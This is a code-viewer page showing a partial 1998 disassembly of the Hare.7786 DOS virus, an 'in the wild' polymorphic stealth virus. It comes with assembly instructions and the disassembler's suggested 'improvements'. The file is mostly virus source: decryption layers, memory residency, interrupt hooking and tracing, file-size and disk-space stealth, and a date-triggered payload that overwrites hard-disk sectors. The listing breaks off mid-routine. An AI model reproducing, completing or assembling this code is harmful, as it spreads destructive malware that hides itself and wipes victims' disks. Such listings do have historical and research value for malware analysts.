📄 hare.asm
字号:
;============================================================================
;
; HDEuthanasia-v3 by Demon Emperor.
;
; Disassembly of the Hare.7786 virus.
;
; Source: 103k
;
; Disassembly was done by T-2000 / Invaders.
;
; April 1998 / May 1998.
;
; Very stupid written! MUCH double, triple code, unstructured programming,
; different variables used.
;
; Full stealth polymorphic multipartite virus.
;
;
; I guess da source is 70% reconstructed, the rest is kinda hard to do,
; So I don't think that I will complete it (I got better things tha do).
; Also please don't blame me for the pretty lame disassembly, I released
; it only Bcoz I haven't seen any other disasms of Hare. I U decide to
; finish the rest of the disassembly, I would appreciate if U gave me a
; copy.
;
; Demon Emperor seems to have a great knowledge about Win95, he introduced
; several interresting techniques. It's a shame though, that the virus
; has a bunch of shortcomings, these are:
;
; - It doesn't pad the polymorphic code (different filesizes).
; - Shoddy programming: It could loose a lot of weight (bytes), if
; the author has used flexible routines.
;
;
; Some improvements:
;
; - INT 16h: also hook INT 10h, and don't allow writes to the screen,
; turn-off PC-speaker.
;
;
;
; TARGETS: 1st harddisk & 1.44M diskettes.
; PAYLOAD: Message & disktrashing.
; ENCRYPTION: Slow polymorphic.
; STATUS: In the wild.
;
;
; Assemble with TASM 3.2 (or compatible).
;
; TASM hare.asm /m
;
; *** = Bug report/remark (actually too many to write down).
;
;============================================================================
; The following equates show data references outside the range of the program.
DATA_24E EQU 7C16H ;*
DATA_25E EQU 7DBEH ;*
Virus_Size EQU (OFFSET Virus_End - OFFSET Virus_Begin)
.MODEL TINY ; (hmmm... not really!).
.STACK 1024
.CODE
Virus_Begin:
START:
MOV SI, 0 ; Delta offset.
ORG $-2
Padding DW 0
CLD
STI
MOV CX, 0F2Ch ; Decrypt second layer.
MOV DI, OFFSET Layer_2 ; (slightly polymorphic).
ADD DI, SI
Decrypt_2:
;NOT WORD PTR CS:[DI]
nop
nop
Key_2: nop
INC DI
INC DI
LOOP Decrypt_2
Layer_2:
MOV AX, 0FE23h ; Residency-check.
INT 21h
CMP AX, 0Dh ; Are we already resident?
PUSH SI
PUSH DS
JNE Decrypt_Layer_3
JMP Exec_Host
Decrypt_Layer_3:
MOV AL, 0
ORG $-1
Key_3 DB 0
OR AL, AL
JZ Make_Resident
MOV AH, AL
ADD AH, 01h
MOV CX, 0E65h
MOV DI, OFFSET NewInt01h
ADD DI, SI
LOCLOOP_6:
XOR CS:[DI], AX
INC DI
INC DI
ADD AL, 2
ADD AH, 2
LOOP LOCLOOP_6
Make_Resident:
INT 12h ; Get total DOS-memory in AX.
MOV CL, 6
SHL AX, CL ; Convert to segment-address.
DEC AX
MOV ES, AX
CMP ES:[8], 'CS' ; Systemcode?
JE Find_Last_MCB
LOC_8:
MOV AH, 52h ; Get list of lists.
INT 21h
MOV AX, ES:[BX-2] ; Get 1st MCB.
Find_Last_MCB: MOV ES, AX
CMP BYTE PTR ES:[0], 'Z' ; Last block?
JE Last_MCB_Found
MOV AX, ES:[3] ; Get total memory in MCB.
INC AX ; Plus size MCB (10h bytes).
MOV BX, ES
ADD AX, BX ; Current MCB + total mem.
JMP Find_Last_MCB
Last_MCB_Found:
MOV AX, ES:[3] ; Get total memory in MCB.
SUB AX, (8912 / 16) ; Subtract our needed mem.
JC LOC_8
MOV ES:[3], AX ; Put it back.
INC AX ; Plus size MCB.
MOV BX, ES
ADD AX, BX
MOV ES, AX
POP DS ; DS:SI = Entrypoint virus.
POP SI
PUSH SI
PUSH DS
PUSH CS
POP DS
MOV CX, Virus_Size ; Copy virus to virussegment.
XOR DI, DI
CLD
REP MOVSB
PUSH ES ; JMP to relocated virus.
MOV AX, OFFSET Relocated
PUSH AX
RETF
;
; 0 = No
; 1 = Yes
;
; Bits:
; 0
; 1 Disable stealth.
; 2 Windows 95/NT running.
; 3
; 4
; 5
; 6
; 7 Windows 95/NT running.
;
Relocated:
MOV CS:Flags, CL ; Clear Flags variable.
MOV AX, 160Ah ; Identify Windows version
INT 2Fh ; and type.
OR AX, AX ; Function accepted?
JNZ Bad_Windows
CMP CX, 03h ; Enhanched version running?
JB Bad_Windows
OR BYTE PTR CS:Flags, 10000000b
Bad_Windows: CALL Check_Poly_Sector
CALL Infect_Harddisk
PUSH CS
POP DS
MOV AH, 52h ; List of lists.
INT 21h
MOV AX, ES:[BX-2] ; Get 1st MCB in AX.
MOV First_MCB, AX ; Save it for the tracer.
MOV BYTE PTR Trace_Function, 19h ; Get free diskspace.
MOV BYTE PTR Fake_PUSHF, 00h
MOV byte ptr Trace_Done, 01h
MOV AX, 3521h ; Get address INT 21h.
INT 21h
MOV Int21h, BX ; Save INT 21h.
MOV Int21h+2, ES
MOV Trace_Int, BX ; Find entrypoint.
MOV Trace_Int+2, ES
CALL Tracer
CLD ; Replace address INT 21h
MOV SI, OFFSET Trace_Int ; with traced address.
MOV DI, OFFSET Traced_Int21h
MOVSW
MOVSW
XOR AX, AX ; Hook INT 21h.
MOV DS, AX
MOV DS:[21h * 4], OFFSET NewInt21h
MOV DS:[21h * 4 + 2], CS
CALL SUB_56
CALL Del_PortDriver
POP ES ; ES:DI = Virus entrypoint.
POP SI
XOR SI, SI
PUSH SI
PUSH ES
Exec_Host:
POP ES
POP SI
PUSH ES
POP DS
PUSH DS
CMP BYTE PTR CS:[SI+Host_Type], 01h
JE Exec_EXE
ADD SI, OFFSET Old_Entry
MOV DI, 100h
PUSH DI
CLD
PUSH CS
POP DS
MOVSW ; Restore original 3 bytes
MOVSB ; in da .COM-file.
PUSH ES
POP DS
CALL Clear_Registers
RETF
Exec_EXE:
MOV AX, CS:[SI+Old_Entry+2]
POP BX
ADD BX, 10h ; Plus size PSP.
ADD AX, BX ; Add effective segment.
MOV CS:[SI+JMP_Host+2], AX ; Store it in the code.
MOV AX, CS:[SI+Old_Entry]
MOV CS:[SI+JMP_Host], AX
ADD CS:[SI+Old_Stack+2], BX
CALL Clear_Registers ; Clear registers & flags.
MOV SS, CS:[SI+Old_Stack+2]
MOV SP, CS:[SI+Old_Stack]
DB 0EAh ; JMP to host.
JMP_Host DW 0, 0
Traced_Int21h DW 0, 0
Int21h DW 0, 0
JMP_COM DB 90h ; JMP to virus in .COM-file.
DW 0
Host_COM_JMP:
Old_Entry DW OFFSET Carrier, 0
Old_Stack DW 0, 0
Old_Mod512 DW 30h
Old_Byte_Pages DW 2
FileTime DW 9AA0h
Host_Type DB 01h
Temp1 DW 1E6Ah, 3
Trace_Int DW 9AA0h, 2498h
First_MCB DW 253h
Trace_Done DB 0
Fake_PUSHF DB 0
CodeSegment DW 0
Int1Ch DW 0, 0
Flags DB 0
PSP_Segment DW 0
Free_Clusters DW 0
Trace_Function DB 3
Clear_Registers:
XOR AX, AX
PUSH AX ; Clear all flags (also TF).
POPF
STI
MOV CX, AX ; Clear registers.
MOV DI, AX
MOV BP, AX
MOV DX, AX
MOV BX, AX
RETN
NewInt01h:
PUSH AX
PUSH BX
PUSH BP
PUSH DS
MOV BP, SP
MOV AX, [BP+10] ; AX = CS.
MOV BX, [BP+08] ; BX = IP.
MOV CS:CodeSegment, CS
CMP AX, CS:CodeSegment
JE Exit_Int01h
CALL Check_Opcode
CMP AX, 0F000h
JNB LOC_14
CMP AX, CS:First_MCB ; In DOS-segment?
JA Exit_Int01h ; Continue tracing when not.
LOC_14:
AND CS:Trace_Done, 00000001b
JZ Exit_Int01h
MOV CS:Trace_Done, 00h
MOV CS:Trace_Int+2, AX ; Store segment.
MOV AX, [BP+8]
MOV CS:Trace_Int, AX ; Store offset.
Exit_Int01h:
POP DS
POP BP
POP BX
POP AX
CMP CS:Fake_PUSHF, 1
JE LOC_16
IRET
LOC_16:
MOV CS:Fake_PUSHF, 0
RETF
Tracer:
MOV AX, 3501h ; Get INT 01h address.
INT 21h
MOV Temp1, BX ; Save INT 01h address.
MOV Temp1+2, ES
MOV DX, OFFSET NewInt01h
MOV AH, 25h ; Hook INT 01h.
INT 21h
XOR DL, DL
PUSHF
POP AX
OR AX, 100h ; Turn TF on.
PUSH AX
POPF
MOV AH, Trace_Function
PUSHF ; Trace the function.
CALL DWORD PTR Trace_Int
PUSHF
POP AX
AND AX, NOT 100h ; Single-step mode off.
PUSH AX
POPF
LDS DX, DWORD PTR Temp1 ; Restore INT 01h.
MOV AX, 2501h
INT 21h
PUSH CS
PUSH CS
POP ES
POP DS
RETN
Check_Opcode:
PUSH AX
MOV DS, AX
MOV AL, [BX]
CMP AL, 9Dh ; Next instruction POPF ?
JNE LOC_17
OR [BP+0CH], 100h ; Set TF in flags on stack.
JMP LOC_18
NOP
LOC_17:
CMP AL,9Ch ; PUSHF ?
JNE LOC_18
INC WORD PTR [BP+8]
MOV CS:Fake_PUSHF,1
LOC_18:
POP AX
RETN
SUB_4:
MOV AH, 04h ; Get clock.
INT 1Ah
TEST DH, 00001000b
JZ Luck_4_User
CMP DL, 22h ; Trigger-date?
JE Payload
Luck_4_User:
RETN
PayLoad:
MOV AX, 03h ; Clear the screen.
INT 10h
MOV SI, OFFSET Message ; Display text.
MOV BH, 00h
MOV CX, 3Dh
Display_Char: LODSB ; String [si] to al
MOV AH, 0Eh ; Display character.
INT 10h
LOOP Display_Char
MOV DL, 80h
LOC_22:
MOV BH, DL
XOR DL, 01h
MOV AH, 08h ; Get disk drive parameters.
INT 13h
AND CL, 00111111b ; 0 - 63.
MOV AL, CL
MOV AH, 03h
PUSH AX
MOV DL, BH
MOV AH, 08h
INT 13h ; Disk dl=drive 0 ah=func 08h
; get drive parameters, bl=type
; cx=cylinders, dh=max heads
AND CL, 00111111b ; 0 - 63.
MOV AL, CL
MOV AH, 03h
MOV DL, BH
MOV CX, 0101h
PUSH AX
MOV BP, SP
LOC_23:
PUSH DX
LOC_24:
TEST DL, 00000001b
JNZ LOC_25
MOV AX, [BP]
JMP LOC_26
LOC_25:
MOV AX,[BP+2]
LOC_26:
INT 13h ; ??INT NON-STANDARD INTERRUPT
XOR DL, 01h
DEC DH
JNZ LOC_24
POP DX
INC CH
JNZ LOC_23
ADD CL, 40h
JNC LOC_23
ADD DL, 2
ADD SP, 4
JMP LOC_22
; Calls the original INT 21h.
Traced_i21h:
PUSHF
CALL DWORD PTR CS:Traced_Int21h
RETN
Stealth_DiskSpace:
PUSH BX
PUSH AX
MOV AH, 62h ; Get PSP-address.
CALL Traced_i21h
POP AX
CMP CS:PSP_Segment, BX
JNE LOC_28
CMP CS:Trace_Function, DL ; Drive.
JNE LOC_28
POP BX
POPF
CALL Traced_i21h
MOV BX, CS:Free_Clusters ; Fake # of free clusters.
RETF 2
LOC_28:
MOV CS:PSP_Segment, BX
MOV CS:Trace_Function, DL ; Save drive.
POP BX
POPF
CALL Traced_i21h ; Execute function.
MOV CS:Free_Clusters, BX ; Genuine # of free clusters.
RETF 2
Stealth_Filesize:
CALL DWORD PTR CS:Int21h ; Execute function.
PUSHF
PUSH AX
PUSH BX
PUSH ES
TEST CS:Flags, 00000010b ; Stealth-Mode off?
JNZ Exit_Size_Stealth ; Then no file-stealth.
OR AL, AL ; No error occurred?
JNZ Exit_Size_Stealth ; Else exit.
MOV AH, 2Fh ; Get DTA-address.
CALL Traced_i21h
CMP CS:Function_i21h, 40h ; FCB/Dir ?
JA Dir_Stealth
OR WORD PTR ES:[BX+26h], 0
JNZ LOC_30
CMP ES:[BX+24h], 1E9Ch
JB Exit_Size_Stealth
LOC_30:
MOV AX, ES:[BX+1Eh]
AND AL, 00011111b ; Erase all but seconds.
CMP AL, 00010001b ; 34 seconds?
JNE Exit_Size_Stealth
SUB WORD PTR ES:[BX+24h], (Virus_Size + 70)
SBB WORD PTR ES:[BX+26h], 0
JMP Exit_Size_Stealth
Dir_Stealth:
OR WORD PTR ES:[BX+1Ch], 0
JNZ LOC_32
CMP ES:[BX+1Ah], 1E9Ch
JB Exit_Size_Stealth
LOC_32:
MOV AX,ES:[BX+16h] ; Get time in AX.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -